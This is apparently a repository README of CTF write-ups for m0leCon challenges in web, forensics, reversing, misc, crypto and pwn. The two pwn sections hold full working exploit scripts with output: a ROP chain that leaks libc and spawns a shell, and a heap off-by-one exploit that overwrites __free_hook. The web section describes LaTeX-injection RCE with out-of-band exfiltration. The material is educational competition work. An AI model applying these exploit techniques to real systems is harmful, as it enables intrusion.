No Description

Giulio 294fc5b460 Fix syntax for gogs 7 months ago
Readme.md 294fc5b460 Fix syntax for gogs 7 months ago

Readme.md

M0lecon

Web 1

  • You can login with any user and any password, but the admin user
  • When you login a login cookie is set with a base64 encoded PHP object (e.g. base64_encode('O:4:"User":3:{s:2:"id";i:2;s:8:"username";s:1:"'";s:5:"admin";b:0;}'))
  • By changing the PHP object to use the admin as username and the boolean property admin as true you become admin and get the flag

Flag: ptm{Cl455_S3r14l1z4t10n_15_B34ut1ful}

Web 2

  • You have a web portal which allows to write articles in LaTeX
  • LaTeX in its syntax has some commands which allow RCE
  • No filter were in place, so a simple copy/paste from PayloadsAllTheThings did the trick
  • Using an OOB channel was the best way for us to extract the config.php file which contained the flag

Flag: ptm{L4t3x_1nj3ct10n_1s_c00l}

Fore

  • In this chall you need to analyze the file dmp with volatility framework; from the chall page you can download two files: the first one is the dump, the second one the suggested profile.
  • The profile need to be moved in the right path(/volatility/volatility/plugins/overlays/linux) before start volatility.

  • In order to find the correct profile name you can use this command:

	python vol.py --info | grep -i mint
  • After that, we have started to analyze dump; in this case the memory dump is made from a Linux system, and the command set from volatility to analyze Linux memory dump is a little bit restricted than Windows memory analysis command-set.
	root@kali:python vol.py -f /root/Downloads/memory.dmp --profile=LinuxMint173x64 linux_pslist
	Volatility Foundation Volatility Framework 2.6.1
	Offset             Name                 Pid             PPid            Uid             Gid    DTB                Start Time
	------------------ -------------------- --------------- --------------- --------------- ------ ------------------ ----------
	-- trim --
	0xffff8800542aa740 bash                 2302            2296            1000            1000   0x00000000543f3000 2019-11-29 22:29:41 UTC+0000
	0xffff88005719e220 thunderbird          2319            2184            1000            1000   0x00000000542ec000 2019-11-29 22:29:43 UTC+0000
	0xffff8800788e44b0 cinnamon-screen      2380            1741            1000            1000   0x0000000054397000 2019-11-29 22:29:48 UTC+0000
	0xffff880079c86bf0 mintupdate-laun      2381            1741            1000            1000   0x0000000057274000 2019-11-29 22:29:48 UTC+0000
	0xffff8800788cbae0 sh                   2384            2381            1000            1000   0x0000000078398000 2019-11-29 22:29:48 UTC+0000
	-- trim --
  • Between system processes and other useless stuff, we can find a Thunderbird istance; Thunderbird execution is fairly automated.
  • We can try to use linux_bash to see the history of used command and find something about Thunderbird.
	root@kali: python vol.py -f /root/Downloads/memory.dmp --profile=LinuxMint173x64 linux_bash
	Volatility Foundation Volatility Framework 2.6.1
	Pid      Name                 Command Time                   Command
	-------- -------------------- ------------------------------ -------
	-- trim --
	2302 bash                 2019-06-21 22:01:12 UTC+0000   cd /home
    	2302 bash                 2019-06-21 22:01:13 UTC+0000   cd hackermaster
    	2302 bash                 2019-06-21 22:01:14 UTC+0000   cd emails
    	2302 bash                 2019-06-21 22:01:15 UTC+0000   wget 192.168.1.107/hackz/client_data.zip
    	2302 bash                 2019-06-21 22:01:40 UTC+0000   thunderbird "Please be careful with what you do.eml"
    	2302 bash                 2019-06-21 22:02:42 UTC+0000   thunderbird "Re: Please be careful with what you do.eml"
    	2302 bash                 2019-06-21 22:03:32 UTC+0000   thunderbird "Need the moneyz now.eml"
    	2302 bash                 2019-06-21 22:04:30 UTC+0000   thunderbird "Re: Re: Please be careful with what you do.eml"
	-- trim --
  • Intresting, we can find 4 different .eml files opened with Thunderbird. In linux memory dump analysis, we need to find the correct inode value and send it to linux_find_file with -i and -O options to extract every single file.
	root@kali: python vol.py -f /root/Downloads/memory.dmp --profile=LinuxMint173x64 linux_find_file -F "/home/hackermaster/emails/Your_filename_here.eml"
	Volatility Foundation Volatility Framework 2.6.1
	Inode Number                  Inode File Path
	---------------- ------------------ ---------
        814605 0xffff880078eabc48 /home/hackermaster/emails/Need the moneyz now.eml
        814389 0xffff880078e9f060 /home/hackermaster/emails/Please be careful with what you do.eml
        814373 0xffff880078e9f458 /home/hackermaster/emails/Re: Please be careful with what you do.eml
        814162 0xffff880078e9fc48 /home/hackermaster/emails/Re: Re: Please be careful with what you do.eml


	root@kali: python vol.py -f /root/Downloads/memory.dmp --profile=LinuxMint173x64 linux_find_file -i 0xffff880078eabc48 -O "Need the moneyz now.eml"
	root@kali: python vol.py -f /root/Downloads/memory.dmp --profile=LinuxMint173x64 linux_find_file -i 0xffff880078e9f060 -O "Please be careful with what you do.eml"
	root@kali: python vol.py -f /root/Downloads/memory.dmp --profile=LinuxMint173x64 linux_find_file -i 0xffff880078e9f458 -O "Re: Please be careful with what you do.eml"
	root@kali: python vol.py -f /root/Downloads/memory.dmp --profile=LinuxMint173x64 linux_find_file -i 0xffff880078e9fc48 -O "Re: Re: Please be careful with what you do.eml"
  • Three of those mails are simply text with nothing intresting, but "Need the moneyz now.eml" have an attached zip file.
  • After unzip that, we have a lot of json files with strange names and a txt with an ethereum wallett address inside.
  • Simply use a recursive grep with the string 'ptm{' (the flag format) to solve the chall.

Flag: ptm{wh4t_1s_h3_d0ing_With_tH4t_dat4}

Rev 1

  • An ELF was provided
  • By running strings on it it can be discovered to be generated by PyInstaller
  • Using pyi-archive_viewer it was possible to extract the pyc bytecode
  • The header of the pyc was removed by PyInstaller, so it should be re-added and then it could be decomPYled with uncompyle6
  • The decompiled python script does some math operations on big numbers (i.e. print((chr(pow(small_number, very_big_number) % 1000))))
  • By doing the % operation also before the pow one it was possible to speed-up the script and get the flag in seconds (i.e. print((chr(pow((small_number % 1000), (very_big_number % 1000)) % 1000))))

Flag: ptm{30058c5c3989ece35831e815e83e0505}

Misc 1

  • The flag was hidden in a div with the display:none CSS property in the description of the challenge itself

Flag: ptm{W3lc0m3_70_m0l3C0n_CTF!}

Misc 2

  • Rules and definitions

    • we are given n sequences of numbers, a set of rules to build a solution sequence from these and a definition of best solution

    • we can pick only the numbers at the beginning of the sequences, once you pick an element that is removed from the input sequences and put into the solution sequence

    • to compare two solutions we have to compute the value x-y where x and y are the first different elements of the sequences we are comparing

    • if we provide the best solution we repeat the process with a new input

  • Solution

    • at each iteration we pick the minimum among the available elements at the beginning of the sequences we are provided with

    • in case of conflicts (i.e. more than one minimum) we move to compare the second element of the candidate sequences (the one with the minimum at the beginning) and so on until we can establish which one to pick

    • given the way the best solution is measured, this algorithm will be enough to find the best solution in a reasonable time

def solve(ss):
    sol = []
    while True:
        ss = list(filter(lambda s: len(s) > 0, ss))
        if len(ss) == 0:
            break

        heads = {}
        for i in range(len(ss)):
            if ss[i][0] in heads.keys():
                #print("CONFLICT!")
                l1 = list(ss[i])
                l2 = list(ss[heads[ss[i][0]]])

                for j in range(min(len(l1), len(l2))):
                    try:
                        if l1[j] > l2[j]:
                            break
                        elif l1[j] < l2[j]:
                            heads[l1[0]] = i
                            break
                    except:
                        print("ANOTHER CONFLICT!")
                        exit(0)

            else:
                heads[ss[i][0]] = i

        new = min(heads.keys())
        sol.append(new)
        ss[heads[new]].pop(0)
    return sol


from pwnapi import *

log.level = 2
context.update(host="10.255.0.1", port=8005)

p = context.getremote()
p.recvuntil(b"Now it's your turn!\n\n")

while True:
    ss = []
    while True:
        l = p.recvline()
        s = list(map(lambda x: int(x), l.strip().split()))

        if len(s) == 0:
            break
        ss.append(s)

    sol = solve(ss)
    pay = ("{} "*len(sol)).strip().format(*sol).encode("utf-8")
    p.sendlineafter(b"sequence\"?", pay)
    while p.recv(1) != b"!":
        pass
    p.recvuntil(b"\n\n\n")

p.recvall()
p.close()

Flag: ptm{5up3r_f457_1n_c4rD_6Am3s}

Crypto 2

  • By reversing the binary you can learn that:
    • The program reads some a, b and p from the ./params file.
    • Reads the flag from file and encrypts it by using the encrypt function
    • The encrypt function behave like the following C++/Pseudocode
__int64 encrypt(__int64 a1, vector<unsigned int> *message)
{
  InfInt sum = InfInt(0);
  InfInt power;
  for ( i = 0; i < message.size(); ++i )
  {
    myPow(power, 256, message.size() - i - 1);
    sum += InfInt(message[i])*power;
  }
  sum += 1337
  std::cout << sum << std::endl;

  unsigned int seed = now().time_since_epoch().count();
  srand(seed);
  int r = rand();

  InfInt randv;
  randv = p / 0x7FFFFFFF * r;
  sum = (sum * randv + 1) % p;
  a_randv = a * randv;
  b_sum = b * sum;
  enc_sum = (a_randv + b_sum) % p;
  enc_diff = (a_randv _ b_sum) % p;
  if (enc_diff < 0) {
    enc_diff += p;
  }
  a1 = std::pair<InfInt,InfInt>(a1, (__int64)&v11, (__int64)&v12);
  return a1;
}
  • The idea here is to send multiple time the same message to be encrypted, generate the "sum" (like in the cout above) and then run the following SageMath script.
from Crypto.Util.number import long_to_bytes

cipher1=[
1657193054003946939742382039546178248764670964093956768428222754149558900484660423527213927409731682492391649192884642286972836750184248785223918459744699,
9393149816861097990249702302505021603400732592123252503116137566283707142638124367678170286762151736722171457008067398498155737944943155046469028379079674
]
cipher2=[
8567657050186210539812433490723910952475953365776184198464020501236978388794781400334504727276101618868281832944377160415402086128091946377445840531078288,
5608821411558755844947151824603641814259531937527920016345776121936177018601438328338200624208839078384905595006944812697328138726508018110801426846026457
]
cipher3=[
793367049655931060762753233354685831932640135849414074345377052132000065850916722724046406778375795612456646357707665197849363431642555273503228771193778,
7294789427811005632196844363150149690307758418592767276751589840254636358146705068590938842193417495862235903122916362826752853301014990898527383238441432
]
enc_message=44046402572626160612103472728795008085361523578694645928734845681441465001626

matrix = MatrixSpace(QQ,4,4)
vec = VectorSpace(QQ,4)

mat1 = matrix([cipher1[0]+cipher1[1],0,-2,0,cipher2[0]+cipher2[1],0,0,-2,0,cipher1[0]-cipher1[1],-2*enc_message,0,0,cipher2[0]-cipher2[1],0,-2*enc_message]).inverse()
mat2 = matrix([cipher1[0]+cipher1[1],0,-2,0,cipher3[0]+cipher3[1],0,0,-2,0,cipher1[0]-cipher1[1],-2*enc_message,0,0,cipher3[0]-cipher3[1],0,-2*enc_message]).inverse()

x1 = mat1*vec([0,0,2,2])
x2 = mat2*vec([0,0,2,2])

ares = x1[0].numerator() * x2[0].denominator() - x1[0].denominator() * x2[0].numerator()
bres = x1[1].numerator() * x2[1].denominator() - x1[1].denominator() * x2[1].numerator()
z = gcd(ares, bres)
print(z)

#for f in factor(z): 
#    print(f)

flag=[
4359033484857692329373218835891273223514277989389887380295361415464889770166389701631419427834781246508138660575223898424123475008882009518656242889895631,
1632584625552577634192244416449206016411410634392809925962891108131606575665762171492327868243444711605020193366871285556543848503175607073462086340098314
]
p = 9653752804826064052029859504357788343793666970085809058730805328470766932451241626459959462175810916447560141687115090556455161113988122849830800950814781
a = inverse_mod((inverse_mod(x1[0].denominator(), p) * x1[0].numerator()) % p, p)
b = inverse_mod((inverse_mod(x1[1].denominator(), p) * x1[1].numerator()) % p, p)
a = inverse_mod((inverse_mod(2 * a, p) * (flag[0] + flag[1])), p)
b = inverse_mod(2 * b, p) * (flag[0] - flag[1]) - 1
flag = (a * b - 1337) % p

print(long_to_bytes(flag))

Flag: ptm{l1n3ar_alg3br4_at_1t5_b3s7!}

Pwn 1

  • We are given an ELF binary with no stack canaries protections and no PIC.

  • The vulnerability lies in this function

void __cdecl sub_400BED()
{
  __int64 v0; // [rsp+20h] [rbp-20h]
  __int64 v1; // [rsp+28h] [rbp-18h]
  __int64 v2; // [rsp+30h] [rbp-10h]
  __int64 v3; // [rsp+38h] [rbp-8h]
  __int64 vars0; // [rsp+40h] [rbp+0h]
  __int64 retaddr; // [rsp+48h] [rbp+8h]

  sub_400A68(&v0);
  sub_400ABF(&v0);
  puts("Now give me your block data: ");
  HIDWORD(v3) = read(0, &qword_6020E0, 0x80uLL);
  if ( !(unsigned int)sub_400B14((__int64)&qword_6020E0, SHIDWORD(v3), (__int64)&v0) )
  {
    puts("Go mine somewhere else!!\n");
    exit(1);
  }
  v0 = qword_602100;
  v1 = qword_602108;
  v2 = qword_602110;
  v3 = qword_602118;
  vars0 = qword_602120;
  retaddr = qword_602128; // WE CONTROL THE RETURN POINTER
  puts("Block successfully mined. Bye!\n");
}
  • To reach the ret instruction we need to pass a check
signed __int64 __fastcall sub_400B14(__int64 a1, __int64 a2, __int64 a3)
{
  __int64 v4; // [rsp+8h] [rbp-98h]
  char v5[16]; // [rsp+20h] [rbp-80h]
  char v6; // [rsp+30h] [rbp-70h]
  int j; // [rsp+98h] [rbp-8h]
  int i; // [rsp+9Ch] [rbp-4h]

  v4 = a3;
  MD5_Init(&v6);
  MD5_Update(&v6, a1, a2);
  MD5_Final(v5, &v6);
  for ( i = 0; i <= 15; ++i )
    printf("%02x", (unsigned __int8)v5[i]);
  putchar(10);
  for ( j = 0; j <= 1; ++j )
  {
    if ( *(_BYTE *)(j + v4) != v5[j] )
      return 0LL;
  }
  return 1LL;
}
  • Since only the first two bytes of the hash are checked we can try to bruteforce it

  • We're gonna trigger the vulnerability a first time to execute a short ropchain which will leak an address from the GOT to compute the libc_base and then ret2vuln

  • Now we know the addresses of functions and strings from libc in memory

  • We're gonna trigger the vulnerability a second time to hijack the execution to system("/bin/sh")

Exploit

def brute_payload(proof, pay):
	def md5(data):
		import hashlib
		m = hashlib.md5()
		m.update(data)
		return m.hexdigest().encode("utf-8")
	i = 0
	while True:
		pay2 = (pay+str(i).encode("utf-8"))[:128]
		h = md5(pay2)
		if proof[:4] == h[:4]:
			return pay2
		i += 1

from pwnapi import *

log.level      = 1
context.binary = ELF("./proof_of_pwn")
libc           = ELF("./libc.so.6")
p              = context.getprocess()

proof = p.recvline().split()[-1]
log.info("required proof: {}".format(proof.decode("utf-8")))

rop       = p64(context.binary.findgadgetbystr("pop rdi;ret"))
rop      += p64(context.binary.sym.got.puts)
rop      += p64(context.binary.sym.plt.puts)
rop      += p64(0x00400bed) # check function
payload   = brute_payload(proof, fit({72:rop}))

p.sendafter(b"\n", payload)
p.recvuntil(b"\n\n")

puts      = u64(p.recvline().strip().ljust(8, b"\x00"))
libc_base = puts - libc.sym.puts
system    = libc_base + libc.sym.system
binsh     = libc_base + next(libc.search("/bin/sh"))
log.info("libc base:      0x{:x}".format(libc_base))
log.info("system:         0x{:x}".format(system))
log.info("binsh:          0x{:x}".format(binsh))

proof = p.recvline().split()[-1]
log.info("required proof: {}".format(proof.decode("utf-8")))

rop      = p64(context.binary.findgadgetbystr("pop rdi;ret"))
rop     += p64(binsh)
rop     += p64(system)
rop     += p64(context.binary.findgadgetbystr("mov eax, 0;leave;ret"))
payload  = brute_payload(proof, fit({72:rop}))

p.sendafter(b": \n", payload)
p.recvuntil(b"\n\n")

p.sendline(b"cat flag.txt; exit")
log.info("flag:           {}".format(p.recvall().decode("utf-8")))

p.close()

Output (local run)

$ python exploit.py     
[INFO]:  Opening binary ./libc.so.6

arch                            x86
bits                            64
endian                          little
os                              linux
static                          False
stripped                        True
canary                          True
nx                              True
pic                             True
relocs                          False
sanitiz                         False

[INFO]:  Opening binary ./proof_of_pwn

arch                            x86
bits                            64
endian                          little
os                              linux
static                          False
stripped                        True
canary                          False
nx                              True
pic                             False
relocs                          False
sanitiz                         False

[INFO]:  Process started with PID 17148 ./proof_of_pwn
[INFO]:  required proof: 289510e3b590959fb0b0177fe57612d3
[INFO]:  libc base:      0x7f10f5e8e000
[INFO]:  system:         0x7f10f5ed3390
[INFO]:  binsh:          0x7f10f601ad57
[INFO]:  required proof: b222d1572a57e35c7416ff32e234f90a
[INFO]:  flag:           ptm{p00r_8rut3f0rc1ng_c4n_h3lp}
[INFO]:  Process 17148 exited with code -7

Flag: ptm{p00r_8rut3f0rc1ng_c4n_h3lp}

Pwn 2

We are given a binary with no PIE and full RELRO. The binary offers an augmented interface over the one for PWN 1:

[DEBUG] <-- Binary compiled with debug prints and experimental functions -->

  1. Mine a new block
  2. Edit transaction name
  3. Show transaction name
  4. Delete a block
  5. Edit hash [EXPERIMENTAL] Your choice:

The interface allows to create a new block, edit/retrieve the associated transaction name, delete the block and modify the associated hash. Each allocated block is 248 bytes in size, dynamically allocated through malloc(), of which:

  • 224 contain the data we send, if we successfully pass the hash check above
  • 8 contain a pointer to the transaction name
  • 16 contain the hash itself

The interface above gives us four useful primitives:

P.1) Allocate an arbitrary number of fixed size buffers (248 bytes) and fill the first 224 bytes with arbitrary content P.2) Dereference (Read/Write primitive) a pointer located 24 bytes from the end of the buffer P.3) Modify the last 16 bytes of a buffer after it has been allocated P.4) Free on demand the allocated buffers

On top of this, the [DEBUG] messages that the application prints leak each allocated buffer address:

Proof your value! -> d5abc3bc1c [DEBUG] block is at 0x1221010

Just like in PWN 1, in order to add (mine) a new block, one needs to send a buffer that matches the randomly generated MD5 sum. In this case, though, only one byte is compared:

  for ( j = 0; j <= 0; ++j )
  {
    if ( *(_BYTE *)(j + v4) != v8[j] )
      return 0LL;
  }

The vulnerability lies in the "Edit hash" functionality and is a classic off-by-one NULL byte overflow:

  read(0, (void *)(table[v0] + 232LL), 0x10uLL);
  result = table[v0];
  *(_BYTE *)(result + 248) = 0;

Since the allocated buffers are 0x100 (256) bytes in size, the NULL byte overflow allows to change the 'size' field of an adjacent allocated chunk, moving it from the allocated state (0x101 - 0x1 Present flag) to the free state (0x100). P.4 allows to control the last 16 bytes of a buffer, which translates into controlling the prev_size field of a (fake in our case) free buffer.

Through the control of the Present flag + the prev_size field and since we control the contents of the buffers that we load, it is possible to completely create a fake chunk and desynchronize the heap. Once the heap is desynchronized, we can force the allocation of new buffers that overlap with existing ones and allow control of the R/W primitive through P.2. P.2 is used both to infoleak the base address of libc and to overwrite the contents of __free_hook with a onegadget from the provided libc.so, therefore leading to arbitrary code execution.

Let's detail the steps for exploitation:

1) Create enough dummy buffers until the allocator starts returning consecutive allocations (in the specific case here, no dummy buffers are needed, but we still allocate one to use at the end)

2) Allocate three consecutive buffers that we'll call B1, B2, B3. B3 is the victim buffer, B2 is the attacking buffer (that we'll use to overflow into the size portion of B3) and B1 will contain most of the necessary data to fake the free object.

3) Allocate an extra buffer, B4, to get the bottom chunk out of the way.

4) Once B1 and B2 addresses are known, free B1 and re-allocate it, this time with the proper payload. From the exploit:

payload  = "A"*96
payload += p64(0)
payload += p64(int(buf2_addr, 16) - 80) * 2
payload += p64(0x4141414141414141) * 8
payload += p64(0x140 | 0x1)
payload += p64(int(buf1_addr, 16) + 88) * 2

The above payload provides fake FD and BK (self referencing higher up to pass glibc integrity checks) and mirrors the selected fake size (0x140), while stating that the previous buffer is Present (0x1 flag), once again to pass glibc safety checks.

Through P.3 the fake size (0x140) is written to 'prev_size' for B2, which also triggers the overflow:

io.sendline("5")
eat_menu(io)
io.sendline("2")

payload = p64(0x4444444444444444)
payload += p64(0x140)

At this point, all the necessary fake structures are in place.

5) Trigger the buffer coalesce by freeing B3

6) Allocate a new buffer B5. This time, because the heap is desynced, we get a misaligned address and B5 contents overlap with some of B1. In particular, at B5 + 32 there is the Transaction Name pointer for B1.

7) Use the payload of B5 to overwrite B1 Transaction Name pointer and point it to the binary GOT entry of a libc function. In the exploit, 'puts' is selected.

8) Use P.2 through B1 to read the address in the GOT and extract the libc base

9) Free B5 and reallocate it. In this case, in the payload, store at B5 + 32 the address of __free_hook.

10) Use P.2 through B1 to write to __free_hook the address of the libc one-gadget

11) Use P.4 over the dummy buffer allocated at the start to trigger the shell and enjoying the party.

Exploit (dirty python written by a C developer and gloriously uncommented) follows

Exploit

from pwn import *

def brute_payload(proof, pay):
    def md5(data):
        import hashlib
        m = hashlib.md5()
        m.update(data)
        return m.hexdigest()
    i = 0
    while True:
        pay2 = (pay+str(i)).ljust(224)
        h = md5(pay2)
        if proof[:2] == h[:2]:
                return pay2
        i += 1

def eat_menu(io):
    io.recvuntil(":", timeout=4)

def alloc_buffer(io, payload='aaa', tname='dummy'):
    io.sendline("1")
    md5_line = io.recvline().split()[-1]
    addr = io.recvline().split()[-1]
    eat_menu(io)
    good_payload = brute_payload(md5_line, payload)
    io.send(good_payload)
    eat_menu(io)
    io.sendline(tname)
    eat_menu(io)
    log.info("buffer allocated at 0x{:x}".format(addr))
    return addr

def free_buffer(io, id):
    io.sendline("4")
    eat_menu(io)
    io.sendline(id)
    eat_menu(io)
    log.info("buffer {} freed".format(id))

context.log_level = "INFO"
context.binary    = "./proof_of_pown2"
libc              = ELF("./libc.so.6")

io = process(context.binary.path, env={"LD_PRELOAD":"./libc.so.6"})

eat_menu(io)

#alloc dummy buffer
alloc_buffer(io)

# alloc starting buffer
buf1_addr = alloc_buffer(io)

#alloc attack buffer
buf2_addr = alloc_buffer(io)

#alloc victim buffer
buf3_addr = alloc_buffer(io)

#prevent topchunk messing
buf4_addr = alloc_buffer(io)

free_buffer(io, "1")

payload  = "A"*96
payload += p64(0)
payload += p64(int(buf2_addr, 16) - 80) * 2
payload += p64(0x4141414141414141) * 8
payload += p64(0x140 | 0x1)
payload += p64(int(buf1_addr, 16) + 88) * 2

alloc_buffer(io, payload=payload)

io.sendline("5")
eat_menu(io)
io.sendline("2")

payload = p64(0x4444444444444444)
payload += p64(0x140)
io.sendline(payload)

recvd_buffer = io.recvuntil(":", timeout=1)
free_buffer(io, "3")

payload  = p64(0x4444444444444444)*4
payload += p64(0x601f80)

alloc_buffer(io, payload=payload)

io.sendline("3")
eat_menu(io)
io.sendline("5")
io.recvuntil("name: ")
aslr_puts = u64(io.recv(8)[:-2]+"\x00\x00")
libc_base = aslr_puts - libc.sym.puts
free_hook = libc_base + libc.sym.__free_hook

log.info("puts at: %x" % aslr_puts)
log.info("libc base is at: %x" % libc_base)
log.info("free hook is at: %x" % free_hook )

payload  = p64(0x4444444444444444)*4
payload += p64(free_hook)

eat_menu(io)
free_buffer(io, "6")

alloc_buffer(io, payload=payload)

io.sendline("2")
eat_menu(io)
io.sendline("5")

one_gadget = libc_base + 0x4526a
payload = p64(one_gadget)
io.sendline(payload)

eat_menu(io)
io.sendline("4")
eat_menu(io)
io.sendline("0")
io.interactive()
io.close()
quit()

Output Run (LOCAL)

ctf@ctf:~/two$ python exploit_edited.py 
[*] '/home/ctf/two/proof_of_pown2'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x3ff000)
[*] '/home/ctf/two/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Starting local process '/home/ctf/two/proof_of_pown2': pid 12070
[*] buffer allocated at 0xd01010
[*] buffer allocated at 0xd01110
[*] buffer allocated at 0xd01210
[*] buffer allocated at 0xd01310
[*] buffer allocated at 0xd01410
[*] buffer 1 freed
[*] buffer allocated at 0xd01110
[*] buffer 3 freed
[*] buffer allocated at 0xd011d0
[*] puts at: 7efef9400690
[*] libc base is at: 7efef9391000
[*] free hook is at: 7efef97577a8
[*] buffer 6 freed
[*] buffer allocated at 0xd011d0
[*] Switching to interactive mode
 Index: $

Flag: ptm{5t0p_m355ing_wi7h_bl0ckch4ins}